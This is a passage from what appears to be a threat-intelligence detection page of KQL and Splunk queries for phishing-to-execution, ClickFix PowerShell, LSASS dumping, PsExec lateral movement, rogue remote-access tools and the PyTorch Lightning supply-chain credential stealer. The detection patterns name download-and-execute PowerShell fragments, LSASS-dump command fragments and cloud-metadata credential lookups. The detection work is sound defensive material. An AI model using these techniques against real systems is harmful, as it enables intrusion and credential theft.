EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — PyTorch Lightning and Intercom-client Hit in Supply Chain Attacks to Steal CredeExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — PyTorch Lightning and Intercom-client Hit in Supply Chain Attacks to Steal Crede
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("start.py", "router_runtime.js"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("start.py", "router_runtime.js"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — PyTorch Lightning and Intercom-client Hit in Supply Chain Attacks to Steal Crede ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("start.py","router_runtime.js"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("start.py","router_runtime.js"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
Hunts the specific install-time execution chain seen in PyTorch Lightning 2.6.2/2.6.3 and intercom-client 7.0.4 where the package drops a hidden _runtime directory containing start.py, fetches the Bun JavaScript runtime, and executes the 11MB obfuscated router_runtime.js credential stealer. Catches both the PyPI (python -> start.py -> bun) and npm (preinstall -> bun) variants.
Rationale: Both Socket and Aikido confirmed the exact filenames `_runtime/start.py` and `_runtime/router_runtime.js`, the SHA256 5f5852b5..., and the Python-spawns-Bun chain. These are unique to this campaign. Cross-checked against Socket and StepSecurity write-ups.
Cross-checked against:
• https://socket.dev/blog/lightning-pypi-package-compromised
• https://www.aikido.dev/blog/pytorch-lightning-pypi-compromise-mini-shai-hulud
• https://www.stepsecurity.io/blog/a-mini-shai-hulud-has-appeared
• https://semgrep.dev/blog/2026/malicious-dependency-in-pytorch-lightning-used-for-ai-training/
ATT&CKT1195.002T1059.006T1105
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let bunExec = DeviceProcessEvents | where InitiatingProcessFileName in~ ("python.exe","python3.exe","python","python3","node.exe","node","npm.exe","npm","pip.exe","pip") | where (FileName in~ ("bun.exe","bun")) or ProcessCommandLine has_any ("router_runtime.js","_runtime\\start.py","_runtime/start.py") | project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, FolderPath; let badFiles = DeviceFileEvents | where (FileName =~ "router_runtime.js" or FileName =~ "start.py") | where FolderPath has_any ("\\_runtime\\","/_runtime/") | where FolderPath has_any ("site-packages","node_modules","lightning","intercom-client") | extend known_sha256 = iff(SHA256 == "5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1", "router_runtime.js IOC match", "") | project Timestamp, DeviceName, FolderPath, FileName, SHA256, known_sha256, InitiatingProcessFileName; union bunExec, badFiles | order by Timestamp desc
| tstats summariesonly=false count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process_name) as parent_process_name values(Processes.process_path) as process_path from datamodel=Endpoint.Processes where (Processes.process_name IN ("bun.exe","bun") OR Processes.process="*router_runtime.js*" OR Processes.process="*\\_runtime\\start.py*" OR Processes.process="*/_runtime/start.py*") AND Processes.parent_process_name IN ("python.exe","python","python3","python3.exe","node.exe","node","npm.exe","npm-cli.js","pip.exe","pip") by Processes.dest Processes.user Processes.parent_process Processes.process Processes.process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | append [| tstats summariesonly=false count from datamodel=Endpoint.Filesystem where (Filesystem.file_path="*\\_runtime\\router_runtime.js" OR Filesystem.file_path="*/_runtime/router_runtime.js" OR Filesystem.file_path="*\\_runtime\\start.py" OR Filesystem.file_path="*/_runtime/start.py" OR Filesystem.file_name="router_runtime.js") AND (Filesystem.file_path="*site-packages*" OR Filesystem.file_path="*node_modules*" OR Filesystem.file_path="*lightning*" OR Filesystem.file_path="*intercom-client*") by Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.file_hash | `drop_dm_object_name(Filesystem)`]
[LLM] TeamPCP repo poisoning: drop of .claude/router_runtime.js + format-check.yml workflowActions on ObjectivesHigh
Hunts the worm propagation phase where a stolen GitHub token writes the TeamPCP file set into up to 50 branches across every repo the token can write to. Detects local checkout/pull of poisoned commits as well as bun reading/writing the specific poisoned file paths, including the Anthropic Claude Code impersonation artefacts.
Rationale: Socket explicitly enumerates the six poisoned file paths (`.claude/router_runtime.js`, `.claude/settings.json`, `.claude/setup.mjs`, `.vscode/tasks.json`, `.vscode/setup.mjs`, `.github/workflows/format-check.yml`) and the hardcoded `claude@users.noreply.github.com` author. Requiring >=2 of these files in the same hour suppresses noise from legitimate `.vscode` or `.github/workflows` activity.
Cross-checked against:
• https://socket.dev/blog/lightning-pypi-package-compromised
• https://www.aikido.dev/blog/pytorch-lightning-pypi-compromise-mini-shai-hulud
ATT&CKT1195.002T1554T1080
Data sourcesEndpoint.Filesystem
DeviceFileEvents | where ActionType in ("FileCreated","FileModified") | where FolderPath has_any ("\\.claude\\","/.claude/","\\.vscode\\","/.vscode/","\\.github\\workflows\\","/.github/workflows/") | where FileName in~ ("router_runtime.js","setup.mjs","settings.json","tasks.json","format-check.yml") | summarize FileSet = make_set(FileName), PathSet = make_set(FolderPath), FirstSeen = min(Timestamp), LastSeen = max(Timestamp), Initiators = make_set(InitiatingProcessFileName) by DeviceName, AccountName, bin(Timestamp, 1h) | where array_length(FileSet) >= 2 and (FileSet has "router_runtime.js" or FileSet has "format-check.yml") | order by LastSeen desc
| tstats summariesonly=false count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as file_paths dc(Filesystem.file_name) as distinct_files from datamodel=Endpoint.Filesystem where Filesystem.action="created" AND (Filesystem.file_path="*\\.claude\\router_runtime.js" OR Filesystem.file_path="*/.claude/router_runtime.js" OR Filesystem.file_path="*\\.claude\\setup.mjs" OR Filesystem.file_path="*/.claude/setup.mjs" OR Filesystem.file_path="*\\.vscode\\setup.mjs" OR Filesystem.file_path="*/.vscode/setup.mjs" OR Filesystem.file_path="*\\.github\\workflows\\format-check.yml" OR Filesystem.file_path="*/.github/workflows/format-check.yml") by Filesystem.dest Filesystem.user Filesystem.process_guid | `drop_dm_object_name(Filesystem)` | where distinct_files >= 2 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Bun runtime contacting AWS IMDS / api.github.com/user from developer endpointCommand & ControlHigh
Hunts the credential-harvesting phase: after install the Bun-executed router_runtime.js validates harvested GitHub tokens against api.github.com/user and queries AWS IMDS (169.254.169.254 / 169.254.170.2) for cloud creds. Bun talking to IMDS from a non-EC2 developer workstation is highly anomalous and a strong post-exploit indicator that survives even if the dropper filenames are renamed.
Rationale: Socket explicitly documents `http://169.254.169.254` (AWS IMDS) and `http://169.254.170.2` (ECS) lookups by router_runtime.js plus `api.github.com/user` token validation. A `bun` process — itself unusual on most corporate dev endpoints — being parented by python/npm and then querying IMDS is a distinctive multi-stage signature with very few benign analogues.
Cross-checked against:
• https://socket.dev/blog/lightning-pypi-package-compromised
• https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm
• https://securitylabs.datadoghq.com/articles/shai-hulud-2.0-npm-worm/
ATT&CKT1552.005T1552.001T1567
Data sourcesNetwork_Traffic.All_TrafficEndpoint.Processes
let bunNet = DeviceNetworkEvents | where InitiatingProcessFileName in~ ("bun.exe","bun") | where RemoteIP in ("169.254.169.254","169.254.170.2") or RemoteUrl has "api.github.com/user" or RemoteUrl has "api.github.com" | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessParentFileName, InitiatingProcessCommandLine, RemoteIP, RemoteUrl, RemotePort; let bunSpawn = DeviceProcessEvents | where FileName in~ ("bun.exe","bun") | where InitiatingProcessFileName in~ ("python.exe","python3.exe","node.exe","npm.exe","node","python") | project SpawnTime = Timestamp, DeviceName, BunCmd = ProcessCommandLine, ParentProc = InitiatingProcessFileName; bunNet | join kind=inner bunSpawn on DeviceName | where Timestamp between (SpawnTime .. SpawnTime + 30m) | order by Timestamp desc
| tstats summariesonly=false count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest_ip) as dest_ips values(All_Traffic.dest) as dests from datamodel=Network_Traffic.All_Traffic where All_Traffic.app IN ("bun.exe","bun") AND (All_Traffic.dest_ip IN ("169.254.169.254","169.254.170.2") OR All_Traffic.dest="api.github.com") by All_Traffic.src All_Traffic.user All_Traffic.app | `drop_dm_object_name(All_Traffic)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | join type=inner src [| tstats summariesonly=false count from datamodel=Endpoint.Processes where Processes.process_name IN ("bun.exe","bun") AND Processes.parent_process_name IN ("python.exe","python","python3","node.exe","node","npm.exe") by Processes.dest Processes.parent_process_name Processes.process | rename Processes.dest as src | `drop_dm_object_name(Processes)`]
2026-04-304 use cases2 techniques3 kill-chain phases detected
Stay ahead of emerging threats with Microsoft’s newest security innovations and updates, delivered through the In the Loop series. The post What’s new, updated, or recently released in Microsoft Security appeared first on Microsoft Security Blog .
ATT&CKT1190T1566
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-04-301 use case0 techniques2 kill-chain phases detected
The April 2026 KB5083769 security update breaks third-party backup applications from multiple vendors on systems running Windows 11 24H2 and 25H2. [...]
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Likely
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-04-3013 use cases6 techniques6 kill-chain phases detected
In early 2026, email threats increased with a rise in credential phishing, QR code phishing, and CAPTCHA-gated campaigns, highlighted by Microsoft’s disruption of the Tycoon2FA phishing platform which led to a 15% volume decrease and shifts in threat actor tactics. The post Email threat landscape: Q1 2026 trends and insights appeared first on Microsoft Security Blog .
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonator · [LLM] Storm-1747 Tycoon2FA Feb 2026 SVG campaign C2 hostname callout · [LLM] Phishing SVG attachment named with Base64-encoded recipient email
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking. → Network connections to article IPs / domains · [LLM] Browser-rendered SVG followed by outbound HTTPS to fresh .RU TLD landing page (post-takedown Tycoon2FA)
